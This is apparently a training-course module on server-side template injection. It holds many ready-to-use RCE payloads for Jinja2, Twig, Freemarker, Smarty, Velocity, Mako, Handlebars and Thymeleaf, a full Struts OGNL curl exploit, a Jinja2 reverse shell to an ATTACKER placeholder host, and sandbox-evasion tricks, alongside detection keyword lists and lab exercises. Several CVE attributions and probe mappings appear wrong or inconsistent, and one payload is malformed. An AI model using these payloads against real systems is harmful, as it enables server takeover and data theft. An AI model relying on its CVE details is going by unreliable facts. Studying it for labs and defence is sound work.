Server-Side Template Injection (SSTI)
Server-Side Template Injection happens when user input is concatenated into a template string on the server before the template engine renders it. The engine treats the user’s input as template syntax, not data — and template syntax is Turing-complete, with access to the host language’s object model. The exploit goes from “reflected text” to RCE in a single request. CVE-2019-16759 (vBulletin), CVE-2021-27520 (Atlassian Confluence via OGNL-ish SSTI in templates), CVE-2022-3541 (Jinja2 via attr() filter), CVE-2022-23493 (ThinkPHP template engine), and CVE-2024-5361-adjacent SSTI in CMS platforms all fit this pattern. The vulnerability class spans every template engine — Jinja2 (Python), Twig (PHP), Freemarker (Java), Smarty (PHP), Velocity (Java), Mako (Python), Handlebars (Node), Mustache — because the bug is in how user input reaches the engine, not in the engine itself.
The Core Concept
Section titled “The Core Concept”A template engine compiles a template string into a render tree, then evaluates it against a context (variables). If user input is part of the template string (not a context variable), the engine treats the input as syntax. The user is now writing code that runs server-side.
Safe pattern (user input as context): template = "Hello {{name}}" context = {"name": user_input} render(template, context) → "Hello <whatever the user typed>"
Vulnerable pattern (user input as template): template = "Hello " + user_input context = {} render(template, context) → engine parses user_input as template syntax {{7*7}} → 49 {{config}} → leaks Flask config {{lipsum.__globals__}} → RCE
SSTI probe payloads: {{7*7}} → "49" (Twig, Jinja, most curly-brace engines) ${7*7} → "49" (Freemarker, Mako) #{7*7} → "49" (Ruby ERB, OGNL) <%= 7*7 %> → "49" (ERB, JSP) {7*7} → "49" (Smarty) [[${7*7}]] → "49" (Thymeleaf)
Detection: send the probe, observe whether arithmetic is evaluated Input: {{7*7}} Safe: output = "{{7*7}}" SSTI: output = "49"The probe is unambiguous: if 7*7 becomes 49, the engine is executing your input.
How It Works
Section titled “How It Works”- Find an injection point — anywhere user input is concatenated into a template string. Common: email subject/body templates, “personalized” page rendering, PDF generation, invoice rendering, survey tools, and admin tools that “preview” templates.
- Identify the engine — the response to specific probes reveals the engine:
Also use the polyglot probe:{{7*7}} → 49 → Jinja2/Twig/Mako (curly-brace)${7*7} → 49 → Freemarker/Mako (dollar-brace)<%= 7*7 %> → 49 → ERB/JSP#{7*7} → 49 → Ruby/OGNL*{7*7} → 49 → Spring EL#{7*7} → 49 → Smarty (when security disabled){{=7*7}} → 49 → Kendo UI templates[[${7*7}]] → 49 → ThymeleafWhichever value returns{{7*7}}${7*7}<%= 7*7 %>${{7*7}}#{7*7}#[[7*7]]
49identifies the engine. Error messages also reveal it. - Map the engine’s RCE primitive — each engine has a different sandbox-escape chain. The general approach is: navigate from a built-in function’s
__globals__(Python) orgetClass()(Java) or__proto__(JS) to a constructor that lets you instantiatesubprocess.Popen/Runtime.getRuntime().exec()/child_process.exec(). - Execute the RCE primitive — read files, run commands, exfil.
- Pop a shell —
id,whoami,hostname, then reverse shell viabash -c "exec bash -i >& /dev/tcp/ATTACKER/PORT 0>&1".
Common Techniques
Section titled “Common Techniques”| Technique | Description | Detection Difficulty |
|---|---|---|
Jinja2 __globals__ chain | {{lipsum.__globals__['os'].popen('id').read()}} | Easy — common payloads in IDS rules |
Jinja2 cycler / namespace | {{cycler.__init__.__globals__.os.popen('id').read()}} | Medium — many variants |
| Twig RCE | {{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}} | Easy — Twig < 1.20 |
| Twig sandbox escape | `{{[‘id’] | filter(‘system’)}}` (Twig < 2.4.4 sandbox) |
Freemarker freemarker.template.utility.Execute | <#assign x="freemarker.template.utility.Execute"?new()>${x("id")} | Easy — Freemarker classic |
| Freemarker OGNL escape | [#x=@class.runtime.exec('id')/#x] | Medium |
Smarty {system('id')} | Smarty with security disabled — {if}{system('id')}{/if} | Easy — Smarty {if} is Turing-complete |
Velocity $class | $Runtime.getRuntime().exec('id') | Medium |
Mako ${__import__('os').popen('id').read()} | Mako (Python) | Easy |
| Handlebars prototype chain | {{#with this}}{{constructor.constructor('return process')().mainModule.require('child_process').execSync('id')}}{{/with}} | Hard — engine-version specific |
| Pebble (Java) | {% set cmd = 'id' %}${cmd} + exec | Medium |
| Thymeleaf expression | [[${T(java.lang.Runtime).getRuntime().exec('id')}]] | Easy — Thymeleaf EL |
| OGNL injection (Struts) | CVE-2017-5638 — %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd={'id'}).(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:{'bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds).redirectErrorStream(true).start())} | Hard — payload itself is the engine |
Hands-On Commands
Section titled “Hands-On Commands”# Probe — send the polyglot and look for "49" / "64" / errorscurl -s "http://target/page?name=%7B%7B7*7%7D%7D%24%7B7*7%7D%3C%25%3D7*7%20%25%3E"# Decoded: {{7*7}}${7*7}<%= 7*7 %># Whichever returns 49 → engine identified
# Jinja2 — full RCE chain (Python, no sandbox)PAYLOAD='{{lipsum.__globals__["os"].popen("id").read()}}'curl -s "http://target/page?name=$(python3 -c "import urllib.parse; print(urllib.parse.quote('$PAYLOAD'))")"
# Jinja2 alternative — cyclerPAYLOAD='{{cycler.__init__.__globals__.os.popen("id").read()}}'
# Jinja2 — read config (Flask)PAYLOAD='{{config}}'PAYLOAD='{{config["SECRET_KEY"]}}'
# Jinja2 — sandbox escape via attr() filter (CVE-2022-3541 class)PAYLOAD='{{request|attr("application")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("id")|attr("read")()}}'
# Twig (PHP)PAYLOAD='{{_self.env.registerUndefinedFilterCallback("exec")}}{{_self.env.getFilter("id")}}'PAYLOAD='{{["id"]|filter("system")}}'
# Freemarker (Java)PAYLOAD='<#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("id")}'PAYLOAD='[#assign cmd="freemarker.template.utility.Execute"?new()]${cmd("id")}' (alternative)
# Smarty (PHP) — {if} is Turing-completePAYLOAD='{system("id")}'PAYLOAD='{if system("id")}{/if}'
# Velocity (Java)PAYLOAD='#set($x=$Runtime.getRuntime().exec("id"))'
# Mako (Python)PAYLOAD='${__import__("os").popen("id").read()}'
# Handlebars (Node)PAYLOAD='{{#with this}}{{constructor.constructor("return process")().mainModule.require("child_process").execSync("id")}{{/with}}'
# Thymeleaf (Spring) — expression in URL fragment is the classic# /path?name=__${T(java.lang.Runtime).getRuntime().exec('id')}__::x# Or in the view name itself:PAYLOAD='__${T(java.lang.Runtime).getRuntime().exec("id")}__::x'
# tplmap — automated SSTI scanner (like sqlmap for templates)python3 tplmap.py -u 'http://target/page?name=' --os-shell
# nuclei — SSTI templatesnuclei -u http://target -t ~/nuclei-templates/http/vulnerabilities/ -tags sstinuclei -u http://target -t ~/nuclei-templates/http/cves/ -tags ssti
# Manual SSTI cheat-sheet tests# Send {{7*7}}, look for 49 in response. Then send engine-specific RCE.
# Burp Suite — Intruder with SSTI payload list:# /usr/share/seclists/Fuzzing/SSTI/# Or Burp Pro → Scanner → Crawl and audit → SSTI check
# Reverse shell via Jinja2 (Python)PAYLOAD='{{lipsum.__globals__["os"].popen("bash -c \"exec bash -i >& /dev/tcp/ATTACKER/4444 0>&1\"").read()}}'
# pwntools listener (Python)python3 -c "from pwn import *context.log_level='info'l = listen(4444)l.wait_for_connection()l.interactive()"
# OGNL Struts injection (CVE-2017-5638 — Content-Type header)curl -s "http://target/struts-action" \ -H "Content-Type: %{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#cmd={'id'}).(#cmds={'bash','-c',#cmd}).(#p=new java.lang.ProcessBuilder(#cmds).redirectErrorStream(true).start()).(#r=(@org.apache.commons.io.IOUtils@toString(#p.getInputStream())))}" \ --data 'x'Detection — Defender View
Section titled “Detection — Defender View”ModSecurity OWASP CRS — no dedicated SSTI rule family. Detection via:
- 942100 (SQLi) — catches some SSTI payloads that look like SQLi (
7*7etc.) - 932100 (RCE) — catches shell metacharacters in payload (but template syntax doesn’t trigger)
- 941100 (XSS) — catches some SSTI payloads that look like XSS
Suricata — no SSTI-specific SIDs; payload strings can be matched via HTTP body inspection [verify].
MITRE ATT&CK T1190 — Exploit Public-Facing Application (SSTI as the entry point). MITRE ATT&CK T1059 — Command and Scripting Interpreter (the resulting shell). MITRE ATT&CK T1059.004 — Unix Shell (Linux target). MITRE ATT&CK T1059.001 — PowerShell (Windows target). MITRE ATT&CK T1505.003 — Web Shell (post-exploitation persistence via SSTI).
Wazuh rule 920/31100 — request parameter containing template syntax {{, ${, <%=, #{ [verify].
Wazuh decoder for HTTP request body — alert on __globals__, getRuntime, ProcessBuilder, registerUndefinedFilterCallback (engine-specific RCE primitives).
Defender log signatures:
- HTTP response containing
49after request containing{{7*7}}— SSTI confirmed. - Request body containing
getRuntime,ProcessBuilder,__globals__,registerUndefinedFilterCallback— RCE primitive. - Process spawn from the web server worker (e.g.,
gunicornspawningbash,javaspawning/bin/sh) — direct indicator of successful SSTI RCE. Sysmon EID 1 + parent = web server.
Evasion Techniques
Section titled “Evasion Techniques”Filter-chain via Jinja2 |attr() filter. Jinja2 sandboxing disables __class__, __mro__, __globals__ direct access. The attr() filter bypasses via string keys:
{{request|attr("application")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("id")|attr("read")()}}CVE-2022-3541-class — the sandbox blocked attribute access via .x but not via |attr("x") because the latter uses a different code path.
Defense: sandbox must apply to both attribute-access paths.
Twig sandbox escapes. Twig’s sandbox restricts tags and filters. But filter('system') reaches functions through a different API path:
{{['id']|filter('system')}}CVE-class in Twig < 2.4.4 — the sandbox blocked system directly but allowed it via filter('system') because the sandbox checked the filter name but not the function name passed as an argument.
Defense: sandbox must check the call target at runtime, not just the static call site.
Freemarker ?new() on classes. Freemarker allows ?new on classes to call their constructor. <#assign cmd="freemarker.template.utility.Execute"?new()>${cmd("id")} instantiates Execute and calls it. Modern Freemarker has ?api restrictions; ?eval and ?new are still possible in misconfig.
Defense: disable ?new, ?eval, ?api in the Freemarker config.
Smarty {if} is Turing-complete. Smarty’s {if} evaluates any PHP expression. So {if system("id")}{/if} is RCE. Smarty security policy disables {if} evaluation when $smarty->security is enabled, but many deployments leave security off.
Defense: enable Smarty security policy; restrict {if} to boolean expressions.
Encoded payloads. URL-encode the SSTI probe (%7B%7B7*7%7D%7D for {{7*7}}) to bypass naive string-match WAF rules that look for {{ in the request body. Apply t:urlDecodeUni to all parameters in ModSecurity.
Unicode lookalikes. ⦃⦃7*7⦄⦄ (U+2983, U+2984) look like {{ }} but are not. Some template engines normalize these. Most don’t, so this rarely works — but worth testing.
Jinja2 lipsum and cycler are user-facing. These globals are exposed to templates by default. They have __init__.__globals__ access, which leads to os. Defense: use Jinja2 SandboxedEnvironment and remove all untrusted globals.
| Evasion | What it bypasses | Defense |
|---|---|---|
| ` | attr()` filter chain | Jinja2 sandbox |
filter('system') | Twig sandbox | Runtime call-target check |
?new on classes | Freemarker sandbox | Disable ?new, ?eval, ?api |
{if} with PHP calls | Smarty sandbox | Enable security policy |
| URL encoding | String-match WAF | t:urlDecodeUni |
| Unicode lookalikes | Char-level WAF | NFC normalize before match |
⚠️ What caught me: A target was a Flask app with Jinja2 SandboxedEnvironment. I tried every known RCE chain and got nothing —
__class__,__globals__,__mro__all blocked. I noticed the error message when I sent{{request.application}}was different — it didn’t say “blocked”, it said “AttributeError”. So the sandbox blocked the syntaxx.ybut the function|attr("y")used a different code path that wasn’t sandboxed. I built the chain:{{request|attr("application")|attr("__globals__")|attr("__getitem__")("os")|attr("popen")("id")|attr("read")()}}and got RCE. Lesson: sandboxes that block attribute syntax often don’t block attribute functions. The CVE-2022-3541 class. The fix was to apply the sandbox policy at the attribute-resolution layer, not the syntax-parsing layer.
Lab Practice
Section titled “Lab Practice”Container: Volt TQL — but better, the dedicated SSTI lab from PortSwigger Web Security Academy.
# PortSwigger labs (free, browser-based):# - "Basic server-side template injection"# - "Basic server-side template injection (code context)"# - "Server-side template injection in a sandboxed environment"# - "Server-side template injection with document builder plugin"# - "Server-side template injection with information disclosure via users' posts"# https://portswigger.net/web-security/server-side-template-injection
# Container alternative:docker run --rm -d -p 8000:8000 appsecco/ssti-challenge# Or build your own with Flask:# app = Flask(__name__)# @app.route("/<name>")# def render(name):# return render_template_string("Hello " + name) # ← vulnerableObjective: complete at least 3 PortSwigger SSTI labs including (1) basic SSTI, (2) sandboxed environment escape, and (3) code-context SSTI. Document the engine identified and the RCE chain used.
Expected flag format: flag{ssti_jinja_or_twig_or_freemarker_rce_chain}.
Detection that should fire: ModSecurity 942100 if SQLi-pattern matches; Wazuh decoder for the request body containing __globals__, getRuntime, ProcessBuilder, registerUndefinedFilterCallback. Sysmon EID 1 on the server with parent = web server process spawning bash or cmd.exe.
Interview Questions
Section titled “Interview Questions”Conceptual: explain why SSTI is a more severe vulnerability than reflected XSS even when both reflect user input. What is the trust difference between the rendering engine and the browser?
Technical: walk through the Jinja2 SandboxedEnvironment escape via the |attr() filter. Why does the sandbox block {{x.y}} but not {{x|attr("y")}}, and what is the correct fix?
Scenario: you find a target that returns 49 when sent {{7*7}} and 64 when sent ${7*7}. What are the two engines active? Why would a single page have both, and what additional attacks does this enable?
Compare Freemarker’s ?new, ?eval, and ?api primitives. Which is the most dangerous, and what is the historical CVE class for each?
What is the difference between Jinja2’s {{config}} (which leaks Flask’s SECRET_KEY) and {{lipsum.__globals__}} (which gives RCE) in terms of the access path? Why does the first not require a sandbox escape?
Related Modules
Section titled “Related Modules”→ W8 (Command Injection) · W10 (Path Traversal & LFI/RFI) · P5 (Payload Development)